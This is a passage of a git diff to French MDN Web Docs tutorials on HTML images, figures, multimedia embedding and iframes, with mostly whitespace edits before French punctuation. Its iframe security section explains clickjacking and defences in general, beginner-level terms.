{{htmlelement("figure")}}. -> **Note :** D'un point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte `alt` devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble. +> **Note :** D'un point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte `alt` devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble. Un objet \<figure> n'est pas forcé de contenir une image. C'est une unité de contenu indépendante qui : @@ -347,16 +347,16 @@ Un objet \<figure> n'est pas forcé de contenir une image. C'est une unité de c - peut se placer en plusieurs endroits dans une page à flot linéaire. - Fournit une information essentielle qui supporte le texte principal. -Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses. +Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses. ### Pédagogie active : créer un objet figure Dans cette section, nous allons vous demander de récupérer le code fini de la section "Pédagogie active" précédente et d'y faire ceci : - Encapsulez-le dans un élément {{htmlelement("figure")}} . -- Copiez le texte de l'attribut, enlevez l'attribut `title` et mettez le texte dans un élément {{htmlelement("figcaption")}} sous l'image. +- Copiez le texte de l'attribut, enlevez l'attribut `title` et mettez le texte dans un élément {{htmlelement("figcaption")}} sous l'image. -Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : +Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : ```html hidden <h2>Live output</h2> @@ -482,7 +482,7 @@ textarea.onkeyup = function(){ ## Images d'arrière-plan CSS -Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et `background` , sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci : +Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et `background`, sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci : ```css p { @@ -494,7 +494,7 @@ Le résultat est probablement plus facile à positionner et contrôler qu'une im En résumé : si une image a du sens, en terme de contenu, vous devriez utiliser une image HTML. Si une image n'est que pure décoration, il vaut mieux utiliser les images d'arrière-plan CSS. -> **Note :** Vous en apprendrez beaucoup plus sur les [CSS background images](/fr/docs/Learn/CSS/Styling_boxes/Backgrounds) dans notre topic [CSS](/fr/Apprendre/CSS) . +> **Note :** Vous en apprendrez beaucoup plus sur les [CSS background images](/fr/docs/Learn/CSS/Styling_boxes/Backgrounds) dans notre topic [CSS](/fr/Apprendre/CSS) . C'est tout pour l'instant. Nous avons découvert en détails les images et légendes. Dans le prochain article, nous monterons en régime pour aborder la manière d'utiliser HTML pour intégrer des vidéos et de l'audio dans une page web. diff --git a/files/fr/learn/html/multimedia_and_embedding/index.md b/files/fr/learn/html/multimedia_and_embedding/index.md index 62036f5f33..9e8648c61a 100644 --- a/files/fr/learn/html/multimedia_and_embedding/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/index.md @@ -22,11 +22,11 @@ original_slug: Apprendre/HTML/Multimedia_and_embedding --- {{LearnSidebar}} -Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte. Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. +Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte. Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. ## Prérequis -Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : [introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML). Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer. +Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : [introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML). Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer. > **Note :** Si vous travaillez sur une tablette, ordinateur ou autre périphérique où vous n'auriez pas la capacité de créer vos propres fichiers, sachez que vous pouvez tester (la plupart) de vos lignes de code sur des programmes en ligne comme [JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). @@ -35,10 +35,10 @@ Pour commencer ce module dans de bonnes conditions, vous devriez posséder les Ce module contient les articles suivants, qui vous guideront à travers les fondamentaux de l'intégration multimedia sur une page web. - **[Images en HTML](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML)** - - : Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè aux images d'arrière-plan de CSS. + - : Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè aux images d'arrière-plan de CSS. - **[Vidéo et contenu audio](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video)** - - : Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs, enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens. -- [De \<object> à \<iframe> — autres techniques d'intégration](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies) + - : Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs, enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens. +- [De \<object> à \<iframe> — autres techniques d'intégration](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies) - : À ce stade, nous aimerions faire un pas de côté, en examinant quelques éléments qui vous permettent d'intégrer une grande variété de types de contenu dans vos pages web : les éléments {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} et {{HTMLElement("object")}}. `<iframe>` est fait pour intégrer d'autres pages web, les deux autres vous autorisent à faire de même pour les PDFs, SVG, et même Flash — une technologie en voie de disparition, mais que vous pouvez encore voir de façon semi-régulière. - [Ajouter des images vectorielles sur le Web](/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web) - : Les images vectorielles peuvent être très utiles dans certaines situations. Contrairement aux formats classiques comme le PNG/JPG, elles ne se déforment pas lorsqu'on les agrandit et peuvent rester lisses lorsqu'on les met à l'échelle. Cet article vous présente ce que sont les images vectorielles et comment inclure le populaire format {{glossary("SVG")}} dans les pages web. @@ -50,11 +50,11 @@ Ce module contient les articles suivants, qui vous guideront à travers les fond Les évaluations qui suivent sont là pour tester votre compréhension des bases du HTML traitées dans les guides ci-dessus. - [Évaluation : page d'accueil Mozilla](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page) - - : Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla ! + - : Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla ! ## À voir aussi - [Intégrer une carte interactive en haut d'une image](/fr/docs/Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image) - - : Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité. + - : Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité. - [Web Principes fondamentaux 2](https://teach.mozilla.org/activities/web-lit-basics-two/) - - : Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module : *Multimedia et intégration*. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). + - : Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module : *Multimedia et intégration*. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). diff --git a/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md index 03ce70e743..53b04d3c49 100644 --- a/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md @@ -35,7 +35,7 @@ Dans cette partie, nous testerons vos connaissances des quelques techniques abor Pour démarrer cette étude, vous devez aller chercher toutes les images et l'HTML disponibles dans le répertoire [mdn-splash-page-start](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/) sur github. Mettez le contenu du fichier [index.html](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html) dans un fichier appelé `index.html` sur votre disque dur local, dans un nouveau répertoire. Puis copiez [pattern.png](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png) dans le même dossier (clic droit sur l'image pour le menu des options). -Allez dans le répertoire [originals](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals) chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser. +Allez dans le répertoire [originals](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals) chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser. > **Note :** le fichier HTML en exemple contient un bon nombre de CSS, pour styliser la page. Vous n'avez pas besoin de modifier le CSS, juste l'HTML dans l'élément {{htmlelement("body")}} — tant que vous insérez les bonnes balises, le style sera cohérent. @@ -51,7 +51,7 @@ Avec votre éditeur d'images favori, créez des versions de 400 et 120 px de lar - `firefox-addons.jpg` - `mozilla-dinosaur-head.png` -Donnez-leur des noms similaires comme : `firefoxlogo400.png` et `firefoxlogo120.png`. +Donnez-leur des noms similaires comme : `firefoxlogo400.png` et `firefoxlogo120.png`. Continuons avec `mdn.svg`, ces images seront vos icônes pour lier aux ressources externes, contenues dans l'espace`further-info`. Vous ferez aussi un lien vers le logo firefox dans l'en-tête du site. Réservez toutes ces copies dans le même dossier que l'`index.html`. @@ -65,7 +65,7 @@ A l'intèrieur de l'élément {{htmlelement("header")}} , ajoutez un élément { ### Ajouter une vidéo dans le contenu principal de l'article -Dans l'élément {{htmlelement("article")}} (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : <https://www.youtube.com/watch?v=ojcNcvb1olg>, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large. +Dans l'élément {{htmlelement("article")}} (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : <https://www.youtube.com/watch?v=ojcNcvb1olg>, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large. ### Ajouter des images adaptatives aux liens vers les ressources externes @@ -91,7 +91,7 @@ La capture d'écran suivante montre à quoi devrait ressembler la page d'accueil ## Évaluation -Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le [fil de discussion concernant cet exercice](https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — On ne gagne rien en trichant ! +Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le [fil de discussion concernant cet exercice](https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — On ne gagne rien en trichant ! {{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}} diff --git a/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md index b2cc02ff0a..90b98611fd 100644 --- a/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md @@ -1,5 +1,5 @@ --- -title: Des objets aux « iframe » — autres techniques d'intégration +title: Des objets aux « iframe » — autres techniques d'intégration slug: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies tags: - Apprentissage @@ -19,21 +19,21 @@ original_slug: Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technolog --- {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}} -Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les `<iframe>` servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement. +Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les `<iframe>` servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> - Compétences informatiques de base, + Compétences informatiques de base, <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >installation des outils de base</a >, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" >manipulation des fichiers</a - >, connaissance des fondamentaux du HTML (comme expliqué dans + >, connaissance des fondamentaux du HTML (comme expliqué dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" >Commencer avec le HTML)</a > @@ -41,11 +41,11 @@ Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans l </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Apprendre comment incorporer des éléments, tels que d'autres pages ou - des clips Flash, dans des pages Web à l'aide de - {{htmlelement("object")}}, {{htmlelement("embed")}}, et + des clips Flash, dans des pages Web à l'aide de + {{htmlelement("object")}}, {{htmlelement("embed")}}, et {{htmlelement("iframe")}}. </td> </tr> @@ -58,15 +58,15 @@ Il y a longtemps, sur le Web, il était courant d'utiliser des **cadres** pour c -Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les [applets Java](/fr/docs/Glossary/Java) et [Flash](/fr/docs/Glossary/Adobe_Flash) — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner. +Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les [applets Java](/fr/docs/Glossary/Java) et [Flash](/fr/docs/Glossary/Adobe_Flash) — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner. -Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il est régulièrement utilisé aujourd'hui. +Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il est régulièrement utilisé aujourd'hui. Maintenant que la leçon d'histoire est terminée, passons à autre chose et voyons comment utiliser certains d'entre eux. -## Apprentissage actif : utilisations classiques de l'intégration +## Apprentissage actif : utilisations classiques de l'intégration Dans cet article, passons directement à l'apprentissage actif pour vous donner tout de suite une idée concrète de l'utilité des techniques d'intégration. Le monde en ligne connaît très bien [Youtube](https://www.youtube.com/), mais beaucoup de gens ne connaissent pas les facilités de partage dont il dispose. Voyons comment Youtube nous permet d'intégrer une vidéo dans toute page qui nous plairait à l'aide d'un élément {{htmlelement("iframe")}}}. @@ -78,7 +78,7 @@ Dans cet article, passons directement à l'apprentissage actif pour vous donner En prime, vous pouvez aussi essayer d'intégrer une carte [Google Map](https://www.google.com/maps/) dans l'exemple. 1. Allez sur Google Maps et trouvez une carte qui vous plaise. -2. Cliquez sur le « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur. +2. Cliquez sur le « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur. 3. Selectionnez l'option _Share or embed map_ (Partager ou intégrer une carte). 4. Selectionnez l'option _Embed map_ (intégrer une carte), qui vous fournira du code `<iframe>` — copiez‑le. 5. Inserez‑le dans la boîte _Input_ di‑dessous et voyez le résultat dans _Output_. @@ -209,9 +209,9 @@ textarea.onkeyup = function(){ ## Iframes en détail -Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme [Disqus](https://disqus.com/), des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des `<iframe>`. +Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme [Disqus](https://disqus.com/), des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des `<iframe>`. -Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec \<iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme : +Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec \<iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme : <iframe src="https://developer.mozilla.org/en-US/docs/Glossary" width="100%" height="500" frameborder="0" @@ -220,30 +220,30 @@ Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considéra Lien de repli pour les navigateurs ne prenant pas en charge iframe </a> </p> </iframe> -Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un `<iframe>` : +Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un `<iframe>` : - {{htmlattrxref('allowfullscreen','iframe')}} - : Si activé, `<iframe>` pourra être mis en mode plein écran avec [Full Screen API](/fr/docs/Web/API/Fullscreen_API) (un peu hors‑sujet dans cet article). - {{htmlattrxref('frameborder','iframe')}} - : Si défini à la valeur 1, demande à l'explorateur de tracer une bordure entre cadres, c'est le comportement par défaut. 0 supprime la bordure. L'utilisation d'un tel attribut n'est plus trop recommandée, car le même résultat peut être obtenu en mieux avec {{cssxref('border')}}`: none;` dans le {{Glossary('CSS')}}. - {{htmlattrxref('src','iframe')}} - - : Cet attribut, comme avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer. + - : Cet attribut, comme avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer. - {{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}} - : Ces attributs définissent la largeur et la hauteur souhaitée pour `<iframe>`. - **Contenu de repli** - : Comme pour d'autres éléments semblables, tels {{htmlelement("video")}}, vous pouvez préciser un contenu de repli entre les balises ouvrantes et fermantes `<iframe></iframe>` qui seront affichées si l'explorateur ne prend pas en charge `<iframe>`. Dans notre cas nous avons mis un lien vers une page. Il est peu vraisemblable que vous rencontriez de nos jours un explorateur qui ne prenne pas en charge `<iframe>`. - {{htmlattrxref('sandbox','iframe')}} - - : Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de `<iframe>` (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant. + - : Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de `<iframe>` (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant. > **Note :** Afin d'améliorer la vitesse, il est pertinent de définir l'attribut `src` de `iframe` avec JavaScript après que le chargement du contenu principal est effectué. La page est utilisable plus tôt et le temps de chargement officiel de la page est diminué (une métrique {{glossary("SEO")}} importante). ### Problèmes de sécurité -Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de `<iframe>` dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser `<iframe>` — il faut juste être prudent. Poursuivons ... +Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de `<iframe>` dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser `<iframe>` — il faut juste être prudent. Poursuivons ... -Fabricants de navigateurs et développeurs Web ont appris à la dure que `<iframe>` constitue sur le Web une cible commune (terme officiel : un **vecteur d'attaque**) pour des personnes mal intentionnées. `<iframe>` est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre `<iframe>` plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous. +Fabricants de navigateurs et développeurs Web ont appris à la dure que `<iframe>` constitue sur le Web une cible commune (terme officiel : un **vecteur d'attaque**) pour des personnes mal intentionnées. `<iframe>` est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre `<iframe>` plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous. -> **Note :** Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de `<iframe>` : les hackeurs incorporent un `<iframe>` invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles. +> **Note :** Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de `<iframe>` : les hackeurs incorporent un `<iframe>` invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles. Un exemple rapide d'abord - essayez de charger l'exemple précédent que nous avons montré ci-dessus dans votre navigateur - vous pouvez le [trouver en direct sur Github](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) (voyez le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) aussi). Vous ne verrez rien d'affiché sur la page, et si vous regardez la _Console_ dans les [outils de développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) du navigateur, vous verrez un message vous disant pourquoi. Dans Firefox, ce message indique _Load denied by X-Frame-Options: https\://developer.mozilla.org/en-US/docs/Glossary does not permit framing_ (_Chargement interdit par X-Frame-Options: https\://developer.mozilla.org/en-US/docs/Glossary ne permet pas la mise en cadre_) . C'est parce que les développeurs qui ont construit MDN ont inclus un paramètre sur le serveur des pages du site empêchant l'intégration de ces pages sur un autre site avec `<iframe>` (voir {{anch("Configurer les directives CSP")}}, ci-dessous). Parfaitement sensé — il n'y a aucune raison d'intégrer une page entière de MDN dans d'autres pages, sauf à vouloir les intégrer dans votre site et les prétendre vôtres, ou bien tenter de voler des données par l'intermédiaire d'un détournement de clic, actions qui sont tous les deux des malhonnêtetés. De plus, si tout le monde se mettait à faire cela, toute la bande passante supplémentaire nécessaire commencerait à coûter un paquet d'argent à Mozilla. @@ -266,35 +266,35 @@ L'utilisation de HTTPS nécessite un certificat de sécurité, ce qui peut être > **Note :** [Github pages](/fr/docs/Learn/Common_questions/Using_Github_pages) allows content to be served via HTTPS by default, so is useful for hosting content. If you are using different hosting and are not sure, ask your hosting provider about it. -#### Toujours utiliser l'attribut `sandbox` +#### Toujours utiliser l'attribut 